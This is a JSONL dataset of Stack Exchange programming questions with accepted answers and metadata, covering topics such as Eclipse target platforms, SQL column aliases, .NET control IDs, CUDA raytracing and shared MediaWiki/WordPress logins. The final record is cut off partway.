{"id": "hf_53839482d02e", "question": "<p>I'm developing an Eclipse plug-in, based on a bunch of core Eclipse plug-ins like SWT, JDT, GEF and others. </p>\n\n<p>I need my plug-in to be compatible with Eclipse 3.3, since many potential customers are still using it. However, personally I like the new features in Eclipse 3.4 and would like to use it for my development. This means I need PDE to reference 3.3 code and, when debug, execute a 3.3 instance.</p>\n\n<p>Any tips on how this can be achieved?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "You can change the 'Target platform' setting to point to the location of an existing set of eclipse 3.3 plugins. This will compile your code against the 3.3 plugins, making sure that they stay compatible no matter which version of eclipse you are using to develop the application.\nThe setting is under Window->Preferences->Plug-in development->Target Platform", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.150728"}
{"id": "hf_7aa56e0103e1", "question": "<p>I have a rails application where each user has a separate database. (taking Joel Spolsky's advice on this). I want to run DB migrations from the rails application to create a new database and tables for this user. </p>\n\n<p>What is the easiest way to do this? </p>\n\n<p>Maybe the db migration is not the best for this type of thing. Thanks!</p>\n\n<hr>\n\n<p>It would be nice if it could be a completely automated process. The following process would be ideal.</p>\n\n<ol>\n<li>A user signs up on our site to use this web app</li>\n<li>Migrations are run to create this users database and get tables setup correctly</li>\n</ol>\n\n<p>Is there a way of calling a rake task from a ruby application?</p>\n", "question_body": "", "answer": "We use seperate configuration files for each user. So in the config/ dir we would have roo.database.yml which would connect to my personal database, and I would  copy that over the database.yml file that is used by rails.\nWe were thinking of expanding the rails Rakefile so we could specify the developer as a environment variable, which would then select a specfic datbase configuration, allowing us to only have one database.yml file. We haven't done this though as the above method works well enough.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.185708"}
{"id": "hf_c3b31d40d0af", "question": "<p>How to take screenshot programmically of desktop area in Mac OS X ?</p>\n", "question_body": "", "answer": "Qt includes an example screenshot app in examples\\desktop\\screenshot. Qt works on a range of platforms, including MacOSX.\nhttp://trolltech.com/products/qt/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.208908"}
{"id": "hf_4d3de792749f", "question": "<p>If I've got a table containing Field1 and Field2 can I generate a new field in the select statement? For example, a normal query would be:</p>\n\n<pre><code>SELECT Field1, Field2 FROM Table \n</code></pre>\n\n<p>And I want to also create Field3 and have that returned in the resultset... something along the lines of this would be ideal:</p>\n\n<pre><code>SELECT Field1, Field2, Field3 = 'Value' FROM Table\n</code></pre>\n\n<p>Is this possible at all?</p>\n", "question_body": "", "answer": "```\n```\nSELECT Field1, Field2, 'Value' Field3 FROM Table\n```\n```\nor for clarity\n```\n```\nSELECT Field1, Field2, 'Value' AS Field3 FROM Table\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.232316"}
{"id": "hf_1ad802a5316e", "question": "<p>Ok, here's a very short and to the point question. When trying to import a virtual PC 2004 Windows 2003 Server VM in VM Workstation 6.0.2 I'm getting an error 'unable to determine guest operating system'. Soo how to fix?</p>\n", "question_body": "", "answer": "From\nhere\n:\nMake sure that that the VM is not currently running in VMware Server.\nMake sure that VMware Server does not have a lock on the VM’s files. You have have to stop all VMware Server Services and/or reboot the (VMWare) server.\nMake sure you have appropriate permissions to the VM’s files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.282252"}
{"id": "hf_cc9c23649e31", "question": "<p>I would like to test a string containing a path to a file for existence of that file (something like the <code>-e</code> test in Perl or the <code>os.path.exists()</code> in Python) in C#.</p>\n", "question_body": "", "answer": "Use:\n```\n```\nFile.Exists(path)\n```\n```\nMSDN:\nhttp://msdn.microsoft.com/en-us/library/system.io.file.exists.aspx\nEdit: In System.IO", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.309077"}
{"id": "hf_f3e4affba870", "question": "<p>I want to merge two dictionaries into a new dictionary.</p>\n<pre><code>x = {'a': 1, 'b': 2}\ny = {'b': 3, 'c': 4}\nz = merge(x, y)\n\n&gt;&gt;&gt; z\n{'a': 1, 'b': 3, 'c': 4}\n</code></pre>\n<p>Whenever a key <code>k</code> is present in both dictionaries, only the value <code>y[k]</code> should be kept.</p>\n", "question_body": "", "answer": "```\n```\nx = {'a':1, 'b': 2}\ny = {'b':10, 'c': 11}\nz = dict(x.items() + y.items())\nprint z\n```\n```\nFor items with keys in both dictionaries ('b'), you can control which one ends up in the output by putting that one last.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.332117"}
{"id": "hf_2f01235368d9", "question": "<p>Here's a basic regex technique that I've never managed to remember. Let's say I'm using a fairly generic regex implementation (e.g., grep or grep -E). If I were to do a list of files and match any that end in either <code>.sty</code> or <code>.cls</code>, how would I do that?</p>\n", "question_body": "", "answer": "```\n```\negrep \"\\.sty$|\\.cls$\"\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.354883"}
{"id": "hf_6bb27d501999", "question": "<p>I'm an Information Architect and JavaScript developer by trade nowadays, but recently I've been getting back into back-end coding again.  And, whilst trying to get an HTML prototype integrated and working with our C#-based CMS, I've come to blows with our programmers over the HTML ID attributes being arbitrarily rewritten by .NET for form elements.</p>\n\n<p>I can understand the code-behind reasoning for .NET changing IDs, but the fact you can no longer use IDs when trying to develop e.g. jQuery enhanced interfaces is causing some friction.  What can I do to work around this?</p>\n\n<p>I've tried using the class attribute instead, but that's really crappy, not what it's meant for and doesn't get around that problem of .NET effectively changing rendered source on the fly.  It also means that CSS is less useful now and less efficient to create and maintain.</p>\n\n<p>Any tips or advice greatly appreciated--anything for a few less sleepless nights...</p>\n", "question_body": "", "answer": "You can extend .net controls and make them return actual id's when related properties are called.\nClientID is the id attribute and UniqueID is the name attribute of html elements. So when you create a textbox like the following and using this instead of the textbox in framework, you make id and name attributes render as the same as the server-side id.\n```\n```\npublic class MyTextBox : TextBox\n{\n    public override string ClientID { get { return ID; } }\n    public override string UniqueID { get { return ID; } }\n}\n```\n```\nTo use this new user control, basically register this control as you would do for a custom user control (you can do is in web.config so you won't have to do it in all your pages):\n```\n```\n<%@ Register Assembly=\"MyLibrary\" NameSpace=\"MyLibrary.WebControls\" TagPrefix=\"MyPrefix\" %>\n```\n```\nAnd use it like you would use a text box:\n```\n```\n<MyPrefix:MyTextBox ID=\"sampleTextBox\" runat=\"server\" />\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.377854"}
{"id": "hf_b83e619129e7", "question": "<p>Large pages are available in <code>Windows Server 2003</code> and <code>Windows Vista</code>. </p>\n\n<p>But how do I enable large pages for my application? </p>\n", "question_body": "", "answer": "You will have to assign the\n```\nLock pages in memory\n```\nprivilege to any user that runs your application.  This includes administrators.\nSelect Control\nPanel -> Administrative Tools -> Local Security\nPolicy\nSelect Local\nPolicies -> User Rights Assignment\nDouble click \"Lock pages in memory\", add users and/or groups\nReboot the machine", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.459987"}
{"id": "hf_5792c8e22abf", "question": "<p>What would be the best way to draw a simple animation just before showing a modal <a href=\"https://docs.oracle.com/javase/9/docs/api/javax/swing/JDialog.html\" rel=\"nofollow noreferrer\">JDialog</a>? (i.e. expanding borders from the mouse click point to the dialog location). I thought it would be possible to draw on the glasspane of the parent frame on the <code>setVisible</code> method of the dialog.</p>\n\n<p>However, since the JDialog is modal to the parent, I couldn't find a way to pump drawing events into <a href=\"https://docs.oracle.com/javase/tutorial/uiswing/concurrency/dispatch.html\" rel=\"nofollow noreferrer\">EDT</a> before the JDialog becomes visible, since the current event on the EDT has not been completed yet.</p>\n", "question_body": "", "answer": "Are you trying to show the JDialog indepentently of the annimation? In order to get the order set properly, you may need to bundle those actions in a runnable that is passed to the EDT at once.\neg:\n```\n```\nSwingUtilities.invokeLater(new Runnable(){\n   public void run(){\n      doAnnimation();\n      showDialog();\n   }\n}\n```\n```\nIt may be best to subclass JDialog so that you can just add the doAnnimation() logic to the setVisible(..) or show() method before calling the superclass implementation.\nFinally, I imagine you'll need to set the dimensions of the dalog manually --  I don't remember if Java will know the actual size of the dialog before it is shown, so you may get some useless information for your annimation if you query the size before showing it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.588034"}
{"id": "hf_a351c3568ac7", "question": "<p>I have a .Net desktop application with a TreeView as one of the UI elements.</p>\n\n<p>I want to be able to multi-select that TreeView, only that isn't supported at all.</p>\n\n<p>So I'm adding check-boxes to the tree, My problem is that only some items are selectable, and those that aren't can't consistently cascade selections. </p>\n\n<p>Is there any way to disable or hide some check-boxes while displaying others?</p>\n", "question_body": "", "answer": "The default behavior of TreeView is that when the\nCheckboxes\nproperty is set to true, that checkboxes will be shown for all TreeNodes.\nThe behavior that you are looking for - to disable or hide some checkboxes - is a custom modification of the normal behavior. You can create a custom implementation of TreeView or TreeNode that overrides the default behavior. One other thing to try would be to use the TreeView.\nStateImageList\nproperty. Some sites to check out for more info:\nSee\nthis post\nto the MSDN forums that goes through an implementation similar to what you are attempting.\nCodeProject:\nTri-State TreeView\nCodeProject:\nHow to handle custom node state images in a TreeView (e.g. tristate checkboxes)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.645632"}
{"id": "hf_d3f02ee3bb27", "question": "<p>How can a .net class library project and resulting dll be protected so it cant be referenced by other applications (.net projects) except those projects in my own solution?</p>\n", "question_body": "", "answer": "Forgive my ignorance, but if they're all class libraries, what does the code do?  Isn't the purpose of having a dll so that the code can be referenced.\nIn any case if you mark everything\n```\ninternal\n```\nit won't be able to be accessed outside its own library", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.680737"}
{"id": "hf_1e289baa7b19", "question": "<p>I've had a FTP server (Mac OS X, but not the server version) set up for a while where the users are virtual, i.e. they are not actual user accounts in the server's OS, but accounts handled by the FTP server software -- to the OS they all look like the <code>ftp</code> user account. I'd like to retire the FTP server software and go SFTP instead.</p>\n\n<p>Is there a way to set up SFTP/SSH so that I can create virtual users and at the same time sandbox them?</p>\n\n<p>The reason I want virtual users is because I add and remove accounts from time to time, and doing that with proper user accounts tend to get messy, and I don't know of a good way to sandbox them. There's always some files left and each user has their own user directory (with a lot of files only relevant if they would actually log on to the machine when sitting in front of it), which is quarantined when the account is removed, so you have to remove it by hand yourself, and so on.</p>\n", "question_body": "", "answer": "The usual generic Unix answer to this is 'PAM'. If you want plain old OpenSSH SSHD to handle your SFTP, you need something plugged in to SSHD's PAM stack (/etc/pam.d/sshd) that does what you need and leaves out what you don't need. This might be a general-purpose directory server (probably LDAP) that maps all your virtual users to one home directory and gives them a restricted or scponly kind of shell.\nIf you want to look at FTP servers that can also do FTP-ssl (which is not the same as SFTP),  good ftp servers like Pure-ftpd or vsftp will do that.  FTP-ssl servers have simpler virtual user support.\nhttp://www.bsdguides.org/guides/freebsd/networking/pure-ftpd_virtual_users.php", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.703912"}
{"id": "hf_2198b6dccad8", "question": "<p>I prefer dark backgrounds for coding, and I've downloaded a jar file containing an IntelliJ IDEA color theme that has a dark background. How do I tell IntelliJ about it?</p>\n", "question_body": "", "answer": "Take a look here:\nThird Party Add-ons\nYou\nmay\nhave to extract the jar using a zip application. Hopefully inside you'll find a collection of XML files.\nIntelliJ IDEA Plugins", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.740073"}
{"id": "hf_cae438d5cef4", "question": "<p>I want to create a Java application bundle for Mac without using Mac.</p>\n\n<p>According to <a href=\"http://developer.apple.com/documentation/Java/Conceptual/Java14Development/03-JavaDeployment/JavaDeployment.html#//apple_ref/doc/uid/TP40001885-208447-TPXREF120\" rel=\"noreferrer\">Java Deployment Options for Mac OS X</a>, I can do this by using Xcode, Jar Bundler, or from the command line. Once the files and folders are set up, all I need for the command line method is to call /Developer/Tools/SetFile. Is there a SetFile clone on Linux or Windows? If not, do I have to get a Mac?</p>\n", "question_body": "", "answer": "A Java application bundle on OS X is nothing more than a directory containing your .jars and a number of configuration files.  The SetFile tool sets a custom HFS filesystem property on the directory to tell finder that it is an app, but giving it a \".app\" extension serves the same purpose.  I don't think there's anything stopping you from building one on, say, Windows, though of course you have no way of testing that it works, but if you are able to test it at least once on a real Mac, you could then conceivably update the .jars within it on Windows to reflect code changes without too much difficulty.\nHave a look at the\nBundle Programming Guide\nfor more info.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.763138"}
{"id": "hf_3ad36a2f4508", "question": "<p>What are the options? How popular are they? Do these IDEs give similar/better functionality compared to visual studio?</p>\n", "question_body": "", "answer": "Yes - you can try using SharpDevelop:\nhttp://www.icsharpcode.net/OpenSource/SD/\nOr you can just use notepad, or notepad++\nhttp://notepad-plus.sourceforge.net/\nThen compile on the command line.\nEdit\n: If you're looking for a free solution - try Visual Studio C# Express Edition:\nhttp://www.microsoft.com/express/vcsharp/", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.798153"}
{"id": "hf_63b63ea8a8b5", "question": "<p>I have lots of article store in MS SQL server 2005 database in a table called Articles-</p>\n\n<pre><code>\"Articles (ArticleID, ArticleTitle, ArticleContent)\"\n</code></pre>\n\n<p>Now I want some SP or SQL query which could return me similar Article against any user's input (very much like \"Similar Posts\" in blogs OR \"Related Questions\" in stackoverflow). The matching should work on both ArticleTitle and ArticleContent. The query should be intelligent enough to sort the result on the basis on their relevancy.</p>\n\n<p>Is it possible to do this in MS SQL Server 2005?</p>\n", "question_body": "", "answer": "First of all you need to define what article similarity means.\nFor example you can associate some meta information with articles, like tags.\nTo be able to find similar articles you need to extract some features from them, for example you can build full text index.\nYou can take advantage of full text search capability of MSSQL 2005\n```\n```\n-- Assuming @Title contains title of current articles you can find related articles runnig this query  \nSELECT * FROM Acticles WHERE CONTAINS(ArticleTitle, @Title)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.821327"}
{"id": "hf_6416939bfa25", "question": "<p>Is there any query which can return me the number of revisions made to the structure of a database table?</p>\n\n<p>Secondly, how can I determine the number of pages (in terms of size) present in mdf or ldf files?</p>\n", "question_body": "", "answer": "I think you need to create a\n```\ntrigger\n```\nand store all changes to the table in a separate table. You can then use this table to get the revision history.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.844669"}
{"id": "hf_a9b152b4fce4", "question": "<p>I have heard umpteen times that we 'should not mix business logic with other code' or statements like that. I think every single code I write (processing steps I mean) consists of logic that is related to the business requirements..</p>\n\n<p>Can anyone tell me what exactly consists of business logic? How can it be distinguished from other code? Is there some simple test to determine what is business logic and what is not?</p>\n", "question_body": "", "answer": "Simply define what you are doing in plain English. When you are saying things businesswise, like \"make those suffer\", \"steal that money\", \"destroy this portion of earth\" you are talking about business layer. To make it clear, things that get you excited go here.\nWhen you are saying \"show this here\", \"do not show that\", \"make it more beautiful\" you are talking about the presentation layer. These are the things that get your designers excited.\nWhen you are saying things like \"save this\", \"get this from database\", \"update\", \"delete\", etc. you are talking about the data layer. These are the things that tell you what to keep forever at all costs.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.903004"}
{"id": "hf_394f327c55ec", "question": "<p>How do you write code that is easily read by other people and who have had no hand in writing any part of it?</p>\n", "question_body": "", "answer": "Keep code nice, clear and simple. Don't comment what you're doing when it's obvious (for instance I know what a foreach or if does, I don't normally need an explanation).\nCode tricks (such as auto properties) that make simple things take up fewer lines are good too.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:27.985629"}
{"id": "hf_c7b2186940c6", "question": "<p>I need to add a web part zone to a wiki page. I'm opening the page using SharePoint Designer, but there doesn't seem to be an obvious way (such as a menu) to add a Web Part Zone.</p>\n", "question_body": "", "answer": "from:\nhttp://office.microsoft.com/en-us/sharepointdesigner/HA101513941033.aspx\nInsert a Web Part zone\nIn Office SharePoint Designer 2007, open the page where you want to\n  insert the Web Part zone.\nIf the Web Parts task pane is not already open, open it by clicking\n  Web Parts on the Task Panes menu.\nIn Design view, click the location on the page where you want to\n  insert the Web Part zone.\nAt the bottom of the Web Parts task pane, click New Web Part Zone.\nThe new Web Part zone is inserted on the page.\n  ...", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.013023"}
{"id": "hf_fa91b0403a9d", "question": "<p>If I create an HTTP <code>java.net.URL</code> and then call <code>openConnection()</code> on it, does it necessarily imply that an HTTP post is going to happen?  I know that <code>openStream()</code> implies a GET.  If so, how do you perform one of the other HTTP verbs without having to work with the raw socket layer?</p>\n", "question_body": "", "answer": "No it does not. But if the protocol of the URL is HTTP, you'll get a\n```\nHttpURLConnection\n```\nas a return object. This class has a\n```\nsetRequestMethod\n```\nmethod to specify which HTTP method you want to use.\nIf you want to do more sophisticated stuff you're probably better off using a library like\nJakarta HttpClient\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.036432"}
{"id": "hf_a9ca1305ecef", "question": "<p>How can I calculate the value of PI using C#?</p>\n\n<p>I was thinking it would be through a recursive function, if so, what would it look like and are there any math equations to back it up?</p>\n\n<p>I'm not too fussy about performance, mainly how to go about it from a learning point of view.</p>\n", "question_body": "", "answer": "Calculate like this:\n```\n```\nx = 1 - 1/3 + 1/5 - 1/7 + 1/9  (... etc as far as possible.)\nPI = x * 4\n```\n```\nYou have got Pi !!!\nThis is the simplest method I know of.\nThe value of PI slowly converges to the actual value of Pi (3.141592165......). If you iterate more times, the better.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.071047"}
{"id": "hf_00e2b339cffc", "question": "<p>We are bringing a new project in house and whereas previously all our work was on SQL Server the new product uses an oracle back end.</p>\n\n<p>Can anyone advise any crib sheets or such like that gives an SQL Server person like me a rundown of what the major differences are - Would like to be able to get up and running as soon as possible.</p>\n", "question_body": "", "answer": "Watch out for the difference in the way the empty string is treated.\n```\nINSERT INTO atable (a_varchar_column) VALUES ('');\n```\nis the same as\n```\n```\nINSERT INTO atable (a_varchar_column) VALUES (NULL);\n```\n```\nI have no\n```\nsqlserver\n```\nexperience, but I understand that it differentiates between the two", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.129036"}
{"id": "hf_66f394dce29d", "question": "<p>Does anyone have a regular expression for matching function calls in C programs ?</p>\n", "question_body": "", "answer": "Since C isn't a\nregular language\nand C function calls can contain arbitrary argument expressions, I fear the answer to your question is “no.”", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.175852"}
{"id": "hf_c2cadc82f3e8", "question": "<p>I'm currently implementing a raytracer. Since raytracing is extremely computation heavy and since I am going to be looking into CUDA programming anyway, I was wondering if anyone has any experience with combining the two. I can't really tell if the computational models match and I would like to know what to expect. I get the impression that it's not exactly a match made in heaven, but a decent speed increasy would be better than nothing.</p>\n", "question_body": "", "answer": "It can certainly be done, has been done, and is a hot topic currently among the raytracing and Cuda gurus.  I'd start by perusing\nhttp://www.nvidia.com/object/cuda_home.html\nBut it's basically a research problem.  People who are doing it well are getting peer-reviewed research papers out of it.  But\nwell\nat this point still means that the best GPU/Cuda results are approximately competitive with best-of-class solutions on CPU/multi-core/SSE.  So I think that it's a little early to assume that using Cuda is going to accelerate a ray tracer.  The problem is that although ray tracing is \"embarrassingly parallel\" (as they say), it is not the kind of \"fixed input and output size\" problem that maps straightforwardly to GPUs -- you want trees, stacks, dynamic data structures, etc.  It can be done with Cuda/GPU, but it's tricky.\nYour question wasn't clear about your experience level or the goals of your project.  If this is your first ray tracer and you're just trying to learn, I'd avoid Cuda -- it'll take you 10x longer to develop and you probably won't get good speed.  If you're a moderately experienced Cuda programmer and are looking for a challenging project and ray tracing is just a fun thing to learn, by all means, try to do it in Cuda.  If you're making a commercial app and you're looking to get a competitive speed edge -- well, it's probably a crap shoot at this point... you might get a performance edge, but at the expense of more difficult development and dependence on particular hardware.\nCheck back in a year, the answer may be different after another generation or two of GPU speed, Cuda compiler development, and research community experience.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.210723"}
{"id": "hf_353d5e633000", "question": "<p>Does anyone know how to get IntelliSense to work reliably when working in C/C++ projects? It seems to work for about 1 in 10 files. Visual Studio 2005 seems to be a lot better than 2008.</p>\n\n<p>Edit: Whilst not necessarily a solution, the work-around provided here: </p>\n\n<p><a href=\"https://stackoverflow.com/questions/39474/how-to-get-intellisense-to-reliably-work-in-visual-studio-2008#39590\">How to get IntelliSense to reliably work in Visual Studio 2008</a></p>\n\n<p>Is probably the best bet if I want a decent IntelliSense system.</p>\n", "question_body": "", "answer": "Native C++ intellisense does not work reliably in any version of Visual Studio. I find there are two common problems:\n1) Header file paths are not set-up correctly. When you find a type where intellisense is not working, use the IDE to click through each header file to find the one containing the type. (Right click on #include and select Open Document...). If this fails before you get to the file which declares the type then this is your problem. Make sure header file search paths are set-up correctly.\nAnd,\n2) The intellisense database is corrupt. This happens ALL The time. You need to close the solution, delete the .ncb file, and then reopen the solution. I posted the macro I use for this in answer to another question\nhere\n.\nThe preprocessor can also confuse intellisense - so make sure any #defines during build are also available to intellisense. Other than that, I don't know what else can break it. I've not seen any particular issues with forward declarations.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.238214"}
{"id": "hf_adc308745d92", "question": "<p>Maybe I just don't know .NET well enough yet, but I have yet to see a satisfactory way to implement this simple VB6 code easily in .NET (assume this code is on a form with N CommandButtons in array Command1() and N TextBoxes in array Text1()):</p>\n\n<pre><code>Private Sub Command1_Click(Index As Integer)\n\n   Text1(Index).Text = Timer\n\nEnd Sub\n</code></pre>\n\n<p>I know it's not very useful code, but it demonstrates the ease with which control arrays can be used in VB6.  What is the simplest equivalent in C# or VB.NET?</p>\n", "question_body": "", "answer": "Make an array of controls.\n```\n```\nTextBox[] textboxes = new TextBox[] {\n    textBox1,\n    textBox2,\n    textBox3\n};\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.354915"}
{"id": "hf_368bcfe8f450", "question": "<p>A friend of mine is now building a web application with J2EE and Struts, and it's going to be prepared to display pages in several languages.</p>\n\n<p>I was told that the best way to support a multi-language site is to use a properties file where you store all the strings of your pages, something like:</p>\n\n<pre><code>welcome.english = \"Welcome!\"\nwelcome.spanish = \"¡Bienvenido!\"\n...\n</code></pre>\n\n<p>This solution is ok, but what happens if your site displays news or something like that (a blog)? I mean, content that is not static, that is updated often... The people that keep the site have to write every new entry in each supported language, and store each version of the entry in the database. The application loads only the entries in the user's chosen language.</p>\n\n<p>How do you design the database to support this kind of implementation?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "They way I have designed the database before is to have an News-table containing basic info like NewsID (int), NewsPubDate (datetime), NewsAuthor (varchar/int) and then have a linked table NewsText that has these columns: NewsID(int), NewsText(text), NewsLanguageID(int). And at last you have a Language-table that has LanguageID(int) and LanguageName(varchar).\nThen, when you want to show your users the news-page you do:\n```\n```\nSELECT NewsText FROM News INNER JOIN NewsText ON News.NewsID = NewsText.NewsID\nWHERE NewsText.NewsLanguageID = <<Session[\"UserLanguageID\"]>>\n```\n```\nThat Session-bit is a local variable where you store the users language when they log in or enters the site for the first time.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:22:28.390086"}
{"id": "hf_2441e74d6d3b", "question": "<p>In my host, I currently have installed 2 wordpress applications, 1 phpBB forum and one MediaWiki.</p>\n\n<p>Is there a way to merge the login so that all applications share the same credentials?</p>\n\n<p>For instance, I want to register only in my phpBB and then I want to access all other applications with the given username and password.</p>\n\n<p>Even if you don't know a unified way, what other login integration do you know of? Pros and cons of each?</p>\n", "question_body": "", "answer": "I don't know how to share the session cookies, but you can easily share the same login. \ni.e. People will need to log separately into both sites, but will be able to use the same username and password.\nIn the mediawiki file \"LocalSettings.PHP\", you can tell it to use a different (wordpress) database for authentication:\ne.g.\n```\n```\nrequire_once('includes/AuthPlugin.php');\nrequire_once('extensions/AuthPress.php');\n\n$wgAuth = new AuthPress();\n$wgAuth->setAuthPressTablePrefix('evo_');\n# Only include the following if you aren't using the same db as  MediaWiki\n$wgAuth->setAuthPressDBServer ('localhost');\n$wgAuth->setAuthPressDBName('yourWordPressDB');\n$wgAuth->setAuthPressUser('mySQL user for same');\n$wgAuth->setAuthPressPassword('The password');\n```\n```\nSee\nhttp://bbpress.org/forums/topic/mediawiki-bbpress-and-wordpress-integration", "tags": [], 